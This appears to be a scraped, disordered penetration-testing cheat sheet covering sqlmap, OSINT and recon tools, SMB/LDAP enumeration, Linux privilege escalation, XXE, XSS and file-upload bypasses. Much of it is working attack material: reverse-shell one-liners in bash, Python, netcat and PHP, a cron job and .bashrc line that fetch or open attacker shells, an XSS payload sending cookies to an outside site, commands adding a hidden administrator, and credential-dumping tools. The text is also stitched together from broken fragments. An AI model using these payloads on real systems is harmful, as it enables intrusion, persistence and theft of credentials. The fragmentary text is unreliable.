    sqlmap goal is to detect and take advantage of SQL injection vulnerabilities in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user’s specific DBMS tables/columns, run his own SQL statement, read specific files on the file system and more.

    Dumping tables

    Examples

    • Target the http://target.server.com URL using the -u flag:

    • Specify POST requests by specifying the -data flag:

    • Target a vulnerable parameter in an authenticated session by specifying cookies using the -cookie flag:

    • Drop all Set-Cookie requests from the target web server using the -drop-set-cookie flag:

    • Perform in-depth and risky attacks using the -level and -risk flags:

    • Specify which POST or GET parameter to target using the -p flag:

    • Choose a random User-Agent request header using the –random-agent flag:

    • Target a certain database service using the –dbms flag:

    • Read a request (stored via Burpsuite) target the user parameter (and no other parameters), run risky queries, and dump users and passwords:

    • Attempt privilege escalation on the target database

    Dump everything in the database, but wait one second in-between requests.

    Post-Exploit

    • Error-Based SQLi, dump all data from a MSSQL Database :

    Flags

    Here are some useful options for your pillaging pleasure:

    -r req.txt Specify a request stored in a text file, great for saved requests from BurpSuite.

    --force-ssl Force SQLmap to use SSL or TLS for its requests.

    --level=1 only test against the specified parameter, ignore all others.

    --risk=3 Run all exploit attempts, even the dangerous ones (could damage database).

    --delay Set a delay in-between requests, great for throttled connections.

    --proxy Set to http://127.0.0.1:8080 to pipe requests through BurpSuite for inspection.

    --privesc Attempt to elevate the privileges of the database service account.

    --all Enumerate everything inside the target database.

    --hostname Print the target database’s hostname.

    --passwords Find and exfiltrate all users and their password hashes or digests.

    --dbs Enumerate all databases accessible via the target webserver.

    --comments Enumerate all found comments inside the database.

    --sql-shell Return a SQL prompt for interaction.

    --os-cmd Attempt to execute a system command.

    --os-shell Attempt to return a command prompt or terminal for interaction.

    --reg-read Read the specified Windows registry key value.

    --file-write Specify a local file to be written to the target server.

    --file-dest Specify the remote destination to write a file to.

    --technique= Specify a letter or letters of BEUSTQ to control the exploit attempts:

    • B : Boolean-based blind

    • E : Error-based

    • U : Union query-based

    Domains, IP, IOT

    Search by Internet of Things, IP, Domains, and Subdomains

    Services:

    • — A renowned search engine for gathering information about internet-connected devices.

    • , , , , — IoT-focused search engines similar to Shodan.

    • — A publicly searchable database of open AWS Buckets, Azure Blobs, and Digital Ocean Spaces..

    • — Search tool for public AWS S3 & Azure Blob buckets.

    • , , — Determine device manufacturers by MAC address, OUI, or IAB.

    • , , , — Databases for default passwords on various devices.

    • — Provides a comprehensive summary of registration data and technologies used on a website.

    • — A suite of tools for researching IP addresses, including blacklist checks, Whois, DNS lookup, and ping.

    • , , — Tools for searching by registration data and Whois.

    • — A domain exploration tool that discovers hosts associated with a domain.

    • — Determines server location and names of hosts sharing the IP address.

    • — Bulk IP address search tool, capable of checking up to 100 IP addresses at once and exporting results to .csv files.

    • — Feature-rich tool for searching by domain name, IP address, or hostname.

    • — A set of open-source tools for analyzing and visualizing the domain name system.

    • , , , , — Search engines for finding the approximate geographic location of an IP address and other relevant information.

    • , , — поиск по обратным ссылкам.

    • — same IP domains n subdomains finder .

    • , — search by SSL/TLS certs released for certain domain.

    Utils

    • — A network intelligence framework, offering an alternative to Shodan, ZoomEye, Censys, and GreyNoise.

    • — A network scanner that searches for information in open sources, aggregating data from various search engines and databases.

    • — An OSINT tool based on NodeJs, combining port and subdomain scanning, DNS search, URL scanning, Whois search, and other functions.

    • — A utility for searching URLs, IP addresses, and MD5 hashes, designed to assist information security analysts.

    Exposition Audit - Plan

    The objective is to define the attack surface of a company, mainly made up of all the elements of its information system exposed on the Internet.

    Reconnaissance

    • Have your target organization name

    • Search through :

      • domain.example > person > e-mail -> GO

      • Get these IP blocs that belongs to the company

    Subdomains find

    Google Dorks

    Tools

    shodan

    OneForAll

    subfinder

    Scans

    IP2FQDN

    nmap

    Visualize hosts

    gowitness

    • Get a capture of each web service

    LDAP Enumeration

    LDAP: Lightweight Directory Access Protocol

    LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate data about organizations, individuals and other resources such as files and devices in a network - whether on the public Internet or on a corporate Intranet.

    LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP), which is part of X.500, a standard for directory services in a network.

    Ports

    • 389 : LDAP (regular)

    • 636 : LDAPs (LDAP over TLS/SSL)

    • 3268 : msft-gc, Microsoft Global Catalog (LDAP service which contains data from Active Directory forests)

    Enumerate

    ldeep

    In-depth LDAP enumeration utility

    ldapdomaindump

    ldapdomaindump is a tool which aims to solve this problem, by collecting and parsing information available via LDAP and outputting it in a human readable HTML format, as well as machine readable JSON and CSV/TSV/greppable files. Alternative of ldapsearch

    Business OSINT

    Methodology

    https://techjournalism.medium.com/osint-checklist-for-company-investigations-86c3752c095d" %}

    IP addresses

    1. FInd public infos about the enterprise :

      1. Other countries : search for "registre de commerce" "commercial register"

    2. Find IP ranges and other infos on

    3. Enter those ranges in

    Physical

    Search Engine Queries - Locations

    “company_name” headquarters address

    “company_name” branch office

    “city state” county

    People

    site:bizjournals.com inurl:potm “company_name“

    site:linkedin.com “company_name” “present (1 month)”

    Leaks / DNS

    OSINT

    🕵️ OSINT

    Open-source intelligence (OSINT) is the collection and analysis of data gathered from open sources (covert sources and publicly available information [PAI]) to produce actionable intelligence. OSINT is primarily used in national security, law enforcement, and business intelligence functions and is of value to analysts who use non-sensitive intelligence in answering classified, unclassified, or proprietary intelligence requirements across the previous intelligence disciplines.

    OSINT sources can be divided up into six different categories of information flow:

    • Media, print newspapers, magazines, radio, and television from across and between countries.

    • Internet, online publications, blogs, discussion groups, citizen media (i.e. – cell phone videos, and user created content), YouTube, and other social media websites (i.e. – Facebook, Twitter, Instagram, etc.). This source also outpaces a variety of other sources due to its timeliness and ease of access.

    • Public government data, public government reports, budgets, hearings, telephone directories, press conferences, websites, and speeches. Although this source comes from an official source they are publicly accessible and may be used openly and freely.

    OSINT is distinguished from research in that it applies the process of intelligence to create tailored knowledge supportive of a specific decision by a specific individual or group.

    Ressources

    GitHub - dionach/CMSmap: CMSmap is a python open source CMS scanner that automates the process of detecting security flaws of the most popular CMSs.GitHub
    GitHub - MuirlandOracle/C-Sharp-Port-Scan: Simple C# Port Scanner (Multi-Threaded)GitHub
    Download PuTTY: latest release (0.83)www.chiark.greenend.org.uk
    WSTG - Stable | OWASP Foundationowasp.org
    OWASP Testing Guide - Web
    HTTP Parameter Pollution - It’s ContaminatedMedium
    💩 Pile of Poo Emoji | Meaning, Copy And PasteEmojipedia
    pile of poo emoji

    Server-Side Template Injection

    Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.

    At the severe end of the scale, an attacker can potentially achieve remote code execution, taking full control of the back-end server and using it to perform other attacks on internal infrastructure.

    Even in cases where full remote code execution is not possible, an attacker can often still use server-side template injection as the basis for numerous other attacks, potentially gaining read access to sensitive data and arbitrary files on the server.

    GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins serversGitHub
    Page not found - HackTricks Cloudcloud.hacktricks.xyz
    Insecure direct object references (IDOR) | Web Security AcademyWebSecAcademy
    More
    DNSDumpster - Find & lookup dns records for recon & researchDNSDumpster.com
    DNS and host enumeration
    GitHub - haccer/subjack: Subdomain Takeover tool written in GoGitHub
    GitHub - shipcod3/mySapAdventures: A quick methodology on testing / hacking SAP Applications for n00bz and bug bounty huntersGitHub
    Methodology
    GitHub - sullo/nikto: Nikto web server scannerGitHub
    https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/unit42.paloaltonetworks.com
    Docker Patched the Most Severe Copy Vulnerability to Date With CVE-2019-14271
    GitHub - OWASP/API-Security: OWASP API Security ProjectGitHub
    GitHub - snyk/zip-slip-vulnerability: Zip Slip Vulnerability (Arbitrary file write through archive extraction)GitHub
    Application ID:Page ID:Session ID:Request:Debug:Clear Cache:Item Names:Item Values:Printer Friendly
    # admin interfaces
    /apex/apex_admin
    /i/apex_admin
    /pls/apex/apex_admin
    /ords/<workspace_name>/builder
    # dev URL
    /apex/wwv_flow.show?P_FLOW_ID=APP_ID
    # web service
    /apex/APP_ALIAS/wwv_flow.ajax
    /apex/APP_ALIAS/wwv_flow.file_upload
    /apex/APP_ALIAS/wwv_flow.accept
    # misc
    /apex/f?p=13000:1 # Packaged applications
    /apex/f?p=4700 # Application Builder
    /apex/f?p=4000:4500 # Team Development
    /apex/f?p=4350 # SQL Workshop
    /apex/f?p=4950 # Administration Services
    APEX_VERSION
    application-version
    apex-version
    .js?v=$version
    <!-- EXAMPLE -->
    <meta name="generator" content="Oracle Application Express 5.1">
    sqlmap -u "https://app.oracle.com/ords/wwv_flow.show?p_flow_id=112&p_flow_step_id=5&p_instance=14720048029141&p_arg_name=RP,45&p_arg_value=F_DISPLAY" --batch --dbms Oracle --level 3 --risk 3
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE reset [
    <!ENTITY ignite SYSTEM "file:///etc/passwd">
    ]>...<CODE>
    <!--?xml version="1.0" ?-->
    <!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    <tag>&lol9;</tag>
    git clone https://github.com/jbarone/xxelab.git
    cd xxelab
    vagrant up
    # with nmap
    nmap -p53,88,389 $network_ip --open -v -oN dc
    # with nmcli
    nmcli dev show $iface
    # with nslookup
    nslookup -type=SRV _ldap._tcp.dc.msdcs.$domain
    # with zmap
    sudo zmap -i $iface -P 2 --probe-module=icmp_echoscan -B 1M --max-targets=10000000 -o targets_rfc1918.txt $network_ips
    
    # with arp-scan
    arp-scan -d $networkrange
    
    # with nxc - smb, ssh, rdp
    nxc smb $networkrange
    # test for dns attacks
    dnsenum $domain -f /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt --dnsserver $dns_server_ip > dnsenum.txt
    
    # discover printers, web, shares, vpn, media
    gobuster dns -d $domain -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt
    # LINUX HOST
    # no auth
    # netexec
    nxc smb $ip -u anonymous -p "" --rid-brute 10000
    
    # kerbrute
    kerbrute -domain $domain -dc-ip $ip -users /tools/payloads/SecLists/Usernames/xato-net-10-million-usernames.txt
    # WINDOWS HOST
    GetADUsers.py $domain/ -dc-ip $ip
    
    # Get all of the OUs in a domain
    Get-ADOrganizationalUnit -Filter 'Name -like "*"' | Format-Table Name, DistinguishedName -A
    
    ### Create a new user in admin groupe 
    
    # username:password = anon:p3nT3st!
    net user anon p3nT3st! /add
    net localgroup administrators anon /add
    
    net user anon p3nT3st! /add;net localgroup administrators anon /add
    
    If you cannot import module start a webserver and
    IEX(New-Object Net.Webclient).downloadstring('http://<IP>/Powershell.ps1')
    pip3 install ActiveDirectoryEnum
    python -m ade
    
    # query exploit for poc
    python -m ade --exploit cve-2020-1472
    use auxiliary/scanner/http/options
    set rhosts $target
    set rport $port # if https use 443
    # if https
    set ssl true
    exploit
    cat > les.sh
    This file was created using cat (^._.^)
    # Hit Ctrl+D to exit!
    # install
    wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
    
    # usage
    ./les.sh
    # install
    wget "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -O lse.sh
    curl "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -o lse.sh
    
    # usage
    # shows interesting information that should help you to privesc
    ./lse.sh -l1 
    # dump all the information it gathers about the system
    ./lse.sh -l2 
    # install
    wget "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -O linpeas.sh
    
    # COMMANDS
    # Local network
    # On the Host
    sudo python -m SimpleHTTPServer 80 
    
    # On the Victim
    curl $ip/linpeas.sh | sh 
    
    # Without curl
    # On the Host
    sudo nc -q 5 -lvnp 80 < linpeas.sh 
    
    # On the Victim
    cat < /dev/tcp/10.10.10.10/80 | sh 
    
    # USAGE
    #all checks - deeper system enumeration, but it takes longer to complete.
    ./linpeas.sh -a 
    # superfast & stealth - This will bypass some time consuming checks. In stealth mode Nothing will be written to the disk.
    ./linpeas.sh -s
     #Password - Pass a password that will be used with sudo -l and bruteforcing other users
    ./linpeas.sh -P
    # INSTALL
    wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
    
    # python 2.6/2.7
    python linuxprivchecker.py -w -o linuxprivchecker.log
    
    # python 3.x
    pip install linuxprivchecker
    
    # USAGE
    linuxprivchecker -w -o linuxprivchecker.log
    # or 
    python3 -m linuxprivchecker -w -o linuxprivchecker.log
    # install
    git clone https://github.com/rebootuser/LinEnum.git
    
    # usage
    ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
    # install
    git clone https://github.com/AlessandroZ/LaZagne.git
    cd LaZagne
    pip install -r requirements.txt
    cd Linux/
    
    # usage
    python laZagne.py
    chmod +x unix-privesc-check
    ./unix-privesc-check > checks.txt
    # enumeration
    run enumerate # to enumerate the whole server
    run enumerate.file.caps # to enumerate linux capabilities
    run enumerate.file.suid # to enumerate suid files
    smbclient \\\\$ip\\$sharename
    # enum4linux
    # default
    enum4linux $ip
    # runs all options
    enum4linux -a $ip
    # If you've obtained credentials => pull a full list of users regardless of the RestrictAnonymous option
    enum4linux -u '$user' -p '$pass' -a $ip
    
    
    # nmap
    # enumerate smb shares, brute, get infos
    nmap --script 'smb-enum-shares,smb-os-discovery,smb-brute,smb-system-info,smb-vuln*' -p 139,445 $ip
    
    
    # netexec
    # only in upgraded Windows servers from 2003 - No auth attempt
    # Enumerate user shares anonymously
    nxc smb $domainOrIP -u '' -p '' --shares
    # to get password policy, minimum length, account lockout threshold
    nxc smb $domainOrIP --pass-pol -u '' -p ''	
    # The usernames with RID greater than 1000 into a username file
    nxc smb $domainOrIP -u robot -p '' --rid-brute | grep SidTypeUser	
    
    
    # smbmap
    python3 smbmap.py --host-file smb-hosts.txt -d $domain -L
    # Default Output
    smbmap.py -H 0.0.0.0 -u administrator -p asdf1234
    
    # Default Output, with NTML hash
    smbmap.py -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 0.0.0.0
    
    # Command execution
    smbmap.py -u ariley -p 'P@$$w0rd1234!' -d ABC -x 'net group "Domain Admins" /domain' -H 0.0.0.0
    rpcclient -U% $ip
    rpcclient -U '' $ip
    enumdomusers
    enumdomains
    enumprivs
    netshareenum
    netsessenum
    getdompwinfo
    lookupnames administrator
    rpcdump.py -port 135 $ip
    # is there any nfs shares ?
    showmount -e $ip
    # mount it
    mount -t nfs -o rw,vers=2 $ip:$remote_path $local_path -o nolock
    import fitz
    from datetime import datetime
    
    def extract_creation_date(pdf_path):
        with fitz.open(pdf_path) as doc:
            try:
                creation_date = doc.metadata.get("creationDate")
                if creation_date:
                    creation_date = datetime.strptime(creation_date[2:16], "%Y%m%d%H%M%S")
                    return creation_date
                else:
                    return None
            except Exception as e:
                print(f"Error extracting creation date from {pdf_path}: {e}")
                return None
    
    if __name__ == "__main__":
        pdf_paths = ["file1.pdf", "file2.pdf", "file3.pdf"]
        creation_dates = []
        for path in pdf_paths:
            creation_date = extract_creation_date(path)
            if creation_date:
                creation_dates.append((path, creation_date))
        
        creation_dates.sort(key=lambda x: x[1])
        print("PDF Creation Dates (in chronological order):")
        for i, (pdf_path, date) in enumerate(creation_dates, start=1):
            print(f"{i}. {pdf_path} - {date}")
    php://input
    C:\boot.ini
    C:\WINDOWS\win.ini
    C:\WINDOWS\php.ini
    C:\WINDOWS\System32\Config\SAM
    C:\WINNT\php.ini
    C:\xampp\phpMyAdmin\config.inc
    C:\xampp\phpMyAdmin\phpinfo.php
    C:\xampp\phpmyadmin\config.inc
    C:\xampp\phpmyadmin\phpinfo.php
    C:\xampp\phpmyadmin\config.inc.php
    C:\xampp\phpMyAdmin\config.inc.php
    C:\xampp\apache\conf\httpd.conf
    C:\xampp\FileZillaFTP\FileZilla Server.xml
    C:\xampp\MercuryMail\mercury.ini
    C:\mysql\bin\my.ini
    C:\xampp\php\php.ini
    C:\xampp\phpMyAdmin\config.inc.php
    C:\xampp\tomcat\conf\tomcat-users.xml
    C:\xampp\tomcat\conf\web.xml
    C:\xampp\sendmail\sendmail.ini
    C:\xampp\webalizer\webalizer.conf
    C:\xampp\webdav\webdav.txt
    C:\xampp\apache\logs\error.log
    C:\xampp\apache\logs\access.log
    C:\xampp\FileZillaFTP\Logs
    C:\xampp\FileZillaFTP\Logs\error.log
    C:\xampp\FileZillaFTP\Logs\access.log
    C:\xampp\MercuryMail\LOGS\error.log
    C:\xampp\MercuryMail\LOGS\access.log
    C:\xampp\mysql\data\mysql.err
    C:\xampp\sendmail\sendmail.log
    C:\apache\log\error.log
    C:\apache\log\access.log
    C:\apache\log\error_log
    C:\apache\log\access_log
    C:\apache2\log\error.log
    C:\apache2\log\access.log
    C:\apache2\log\error_log
    C:\apache2\log\access_log
    C:\log\error.log
    C:\log\access.log
    C:\log\error_log
    C:\log\access_log
    C:\apache\logs\error.log
    C:\apache\logs\access.log
    C:\apache\logs\error_log
    C:\apache\logs\access_log
    C:\apache2\logs\error.log
    C:\apache2\logs\access.log
    C:\apache2\logs\error_log
    C:\apache2\logs\access_log
    C:\logs\error.log
    C:\logs\access.log
    C:\logs\error_log
    C:\logs\access_log
    C:\log\httpd\access_log
    C:\log\httpd\error_log
    C:\logs\httpd\access_log
    C:\logs\httpd\error_log
    C:\opt\xampp\logs\access_log
    C:\opt\xampp\logs\error_log
    C:\opt\xampp\logs\access.log
    C:\opt\xampp\logs\error.log
    C:\Program Files\Apache Group\Apache\logs\access.log
    C:\Program Files\Apache Group\Apache\logs\error.log
    C:\Program Files\Apache Group\Apache\conf\httpd.conf
    C:\Program Files\Apache Group\Apache2\conf\httpd.conf
    C:\Program Files\xampp\apache\conf\httpd.conf
    # Default nmap script scan
    sudo nmap -sV -sC -p- 0.0.0.0
    nmap -sV --script=banner -p21 0.0.0.0/24.
    nc -nv 0.0.0.0
    netcat 0.0.0.0 port
    # TCP
    nmap –Pn –sT -sC –sV –p0-65535 0.0.0.0
    
    # FTP
    nmap -sC -sV -p21 0.0.0.0
    
    # SMB
    nmap --script smb-os-discovery.nse -p445 0.0.0.0
    -Pn # disables the ping command and only scans ports
    -f # used to fragment the packets (i.e. split them into smaller pieces) making it less likely that the packets will be detected by a firewall or IDS.
    # ALTERNATIVES TO -f, but providing more control over the size of the packets: 
    --mtu <number> # accepts a maximum transmission unit size to use for the packets sent. This must be a multiple of 8.
    --scan-delay <time> # in ms, used to add a delay between packets sent. This is very useful if the network is unstable, but also for evading any time-based firewall/IDS triggers which may be in place.
    --badsum # this is used to generate in invalid checksum for packets. Any real TCP/IP stack would drop this packet, however, firewalls may potentially respond automatically, without bothering to check the checksum of the packet. As such, this switch can be used to determine the presence of a firewall/IDS.
    
    # Scan from spoofed IP
    nmap 192.168.1.1 -D 192.168.1.2
    
    # Scan Facebook from Microsoft
    nmap -S www.microsoft.com www.facebook.com
    
    # Use a specific source port
    nmap 192.168.1.1 -g 53
    # http site map generator
    nmap -Pn --script=http-sitemap-generator scanme.nmap.org 
    
    # Fast search for random web servers
    nmap -n -Pn -p 80 --open -sV -vvv --script banner,http-title -iR 1000 
    
    # Brute forces DNS hostnames guessing subdomains
    nmap -Pn --script=dns-brute domain.com
    
    # Safe SMB scripts to run
    nmap -n -Pn -vv -O -sV --script smb-enum*,smb-ls,smb-mbenum,smb-os-discovery,smb-s*,smb-vuln*,smbv2* -vv 192.168.1.1 
    
    # Whois query
    nmap --script whois* domain.com 
    
    # Detect cross site scripting vulnerabilities.
    nmap -p80 --script http-unsafe-output-escaping scanme.nmap.org 
    
    # Check for SQL injections
    nmap -p80 --script http-sql-injection scanme.nmap.org
    # Use in most cases : Noisy AF
    rustscan -a 0.0.0.0 -- -A -sC -sV -oN initial.log
    
    # SYN "Stealth" scan
    sudo rustscan -a 0.0.0.0 -- -vv -oN Initial-SYN-Scan
    
    # Service Scan
    sudo rustscan -a 0.0.0.0 -p 22,53,80,443 -- -sV -Pn -vv
    
    # Multiple IP Scanning
    rustscan -a 0.0.0.0,1.1.1.1
    
    # CIDR support
    rustscan -a 192.168.0.0/30
    
    # Selected port scanning
    rustscan -a 0.0.0.0 -p 53,80,121,65535
    
    # Ranges of ports
    rustscan -a 0.0.0.0 --range 1-1000
    
    # UDP scan
    rustscan -a 0.0.0.0 -sU -p ports
    echo 'bash -i >& /dev/tcp/ip/port 0>&1' >> ~/.bashrc
    * *     * * *   root    curl http://$attacker_ip:8080/shell | bash
    #!/bin/bash
    bash -i >& /dev/tcp/$ip/$port 0>&1
    nc -nvlp $port
    ssh-keygen
    mkdir .ssh 
    cp id_rsa .ssh/id_rsa
    <?php phpinfo(); ?>
    <?php system('id'); ?>
    <?php system($_GET[‘cmd’]); ?> //in user-agent
    bash -i >& /dev/tcp/0.0.0.0/8899 0>&1
    bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
    python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
    
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
    python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
    
    rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
    php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
    php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
    php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
    php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
    php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
    php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
    # Change :
    # Content-Type: application/x-php
    # to
    # Content-Type: image/jpeg
    # Content-Type: image/png
  • Raccoon — A reconnaissance and information gathering tool utilizing Nmap for port scanning and passive data retrieval techniques.

  • Mitaka — пA tool for looking up IP addresses, MD5 hashes, ASN, and Bitcoin addresses.

  • Photon — A scanner for extracting information from open sources, crawling specific websites for searches, keywords, subdomains, and more.

  • AttackSurfaceMapper — A scanner with open-source search capabilities, seeking subdomains and associated IP addresses.

  • HostHunter — Utilizes open-source intelligence techniques to match IP addresses to hostnames, with results exportable to CSV or TXT files.

  • Subfinder — A modular tool for discovering subdomains using passive reconnaissance techniques.

  • Sublist3r — Designed for finding subdomains using OSINT.

  • WASP Amass — erforms network mapping using open-source information.

  • Anubis — Another utility for detecting subdomains and gathering information about them from open sources.

  • DOME — A Python script that conducts active and/or passive scanning to discover subdomains and identify open ports.

  • Belati — A tool inspired by Foca and Datasploit, designed for collecting publicly available data and documents from websites. Foca Datasploit.

  • Shodan
    Censys Search
    GreyNoise
    ZoomEye
    Netlas
    CriminalIp
    Buckets by Grayhatwarfar
    Public buckets
    macaddress.io
    MAC Vendor Lookup
    maclookup.app
    CIRT
    Default Password Lookup
    Router Password
    Open Sez Me
    sitereport.netcraft
    IPVoid
    who.is
    DomainDossier
    whois.domaintools
    DNSDumpster
    ip-neighbors
    ShowMyIP
    MX Toolbox
    DNSViz
    infosniper
    ip2geolocation
    ip2location
    ipfingerprints
    whoismind
    webmeup
    openlinkprofiler
    Meet Link Explorer
    RapidDNS
    CTSearch
    crt
    IVRE
    OWASP Amass
    Infoooze
    Automater
    Logo

    Professional and academic publications, information acquired from journals, conferences, symposia, academic papers, dissertations, and theses.

  • Commercial data, commercial imagery, financial and industrial assessments, and databases.

  • Grey literature, technical reports, preprints, patents, working papers, business documents, unpublished works, and newsletters.

  • BellingCat's Onine Investigation ToolKit
    Logo
    RIPE.net
    site:domain.example -www
    # install
    pip install shodan
    # usage
    shodan domain domain.example
    git clone https://github.com/shmilylty/OneForAll.git
    cd OneForAll
    pip3 install -r requirements.txt
    
    # usage
    python3 oneforall.py --target domain.example run 
    # install 
    go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
    
    # usage
    subfinder -d domain.example -o domain-sub
    dig +short ptr $ip.in-addr.arpa
    # for each ip bloc :
    blocip=0.0.0.0
    filename=$(echo $blocip | tr '/' '-')
    nmap -sn -v $blocip -oA ./${filename}_up --min-rate 1000
    grep Up ${filename}_up.gnmap | awk '{print $2}' > ip-up-${filename}.txt
    nmap -p- --open -sV -Pn -sT -v -iL ip-up-${filename}.txt -oA ./${filename}-full-scan --min-rate 1000
    gowitness file -f web.txt
    gowitness report serve -a 127.0.0.1:7171

    Put server executable extensions : .php5, .shtml, .asa, .cert

  • Changing letters to capital form : .aSp, .PHp3

  • Using trailing spaces and/or dots at the end of the filename like .asp.. . .... ... , .asp , .asp.

  • Use of semicolon after the forbidden extension and before the permitted extension : .asp;.jpg (Only in IIS 6 or prior)

  • Upload a file with 2 extensions —> file.php.jpg

  • Use of null character—> file.asp%00.jpg

  • Create a file with a forbidden extension —> file.asp:.jpg or file.asp::$data

  • ALSO : Combination of the above

  • PHP file disguised as an GIF file

    S : Stacked queries

  • T : Time-based blind

  • Q : Inline queries

  • 3269 : msft-gc-ssl, Microsoft Global Catalog over SSL (similar to port 3268, LDAP over SSL)

    Identification

    Payloads

    Jinja2

    Exploitation

    SSTI Map

    FRANCE
    RIPE
    shodan
    Logo
    LOLBASlolbas-project.github.io

    HTML | XSS

    XSS

    Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.

    Types

    Stored XSS

    The injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information.

    Reflected XSS

    Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request.

    Explanations

    Let’s say a web page has a search box, which displays the search text alongside the search results as follows : Your search results for “searchtext”:

    The web page also uses the HTTP GET request method to embed the user’s input data to the query string of the URL as follows: https://example.com/action.php?query=searchtext

    If the search box is susceptible to a non-persistent XSS attack, a cybercriminal can send a malicious link to an unsuspecting user and exploit the vulnerability. This is how the script-injected link could look like:

    DOM XSS

    DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner.

    That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.

    Let’s take the following example of a web page that utilizes JavaScript to manipulate a DOM element:

    As you can see on the code snippet above, the value from a user input field is grabbed and appended to an element within the web page’s HTML. If an attacker can control this value, they can craft a devious value that forces their own code to be executed.

    Here is an example :

    Your search results for: “<script>document.location=’https://xssattacksite.com/log.php?c=’ + document.cookie</script>”

    Payloads

    Examples

    N.B.

    alert() print()

    Use print instead of alert

    Beef

    Install & Config

    Control

    Mitigations

    • Developers should implement a whitelist of allowable inputs, and if not possible then there should be some input validations and the data entered by the user must be filtered as much as possible.

    • Output encoding is the most reliable solution to combat XSS i.e. it takes up the script code and thus converts it into the plain text.

    • A WAF (Web Application Firewall) should be implemented as it somewhere protects the application from XSS attacks.

    HTML Injection

    Check

    • Form fields

      • Exploit with BurpSuite using URL Encode

    Payloads

    Mitigations

    • The developer should set up his HTML script which filters the meta-characters from user inputs.

    • The developer should implement functions to validate the user inputs such that they do not contain any specific tag that can lead to virtual defacement.

    Find passwords

    MimiPenguin

    Takes advantage of cleartext credentials in memory by dumping the process and extracting lines that have a high probability of containing cleartext passwords. Must have root permissions.

    # install
    git clone https://github.com/huntergregal/mimipenguin.git
    cd mimipenguin/
    
    # usage
    ./mimipenguin.sh

    Home Directories

    User's home directories can contain plaintext passwords. For example :

    Configuration Files

    /etc directory and subdirectories

    Scheduled Jobs

    The cron configuration files and systemd timer units might contain scripts with embedded credentials.

    Application Files

    Custom applications might store passwords in their configuration files. Check any locations where you have custom software installed.

    SQLi

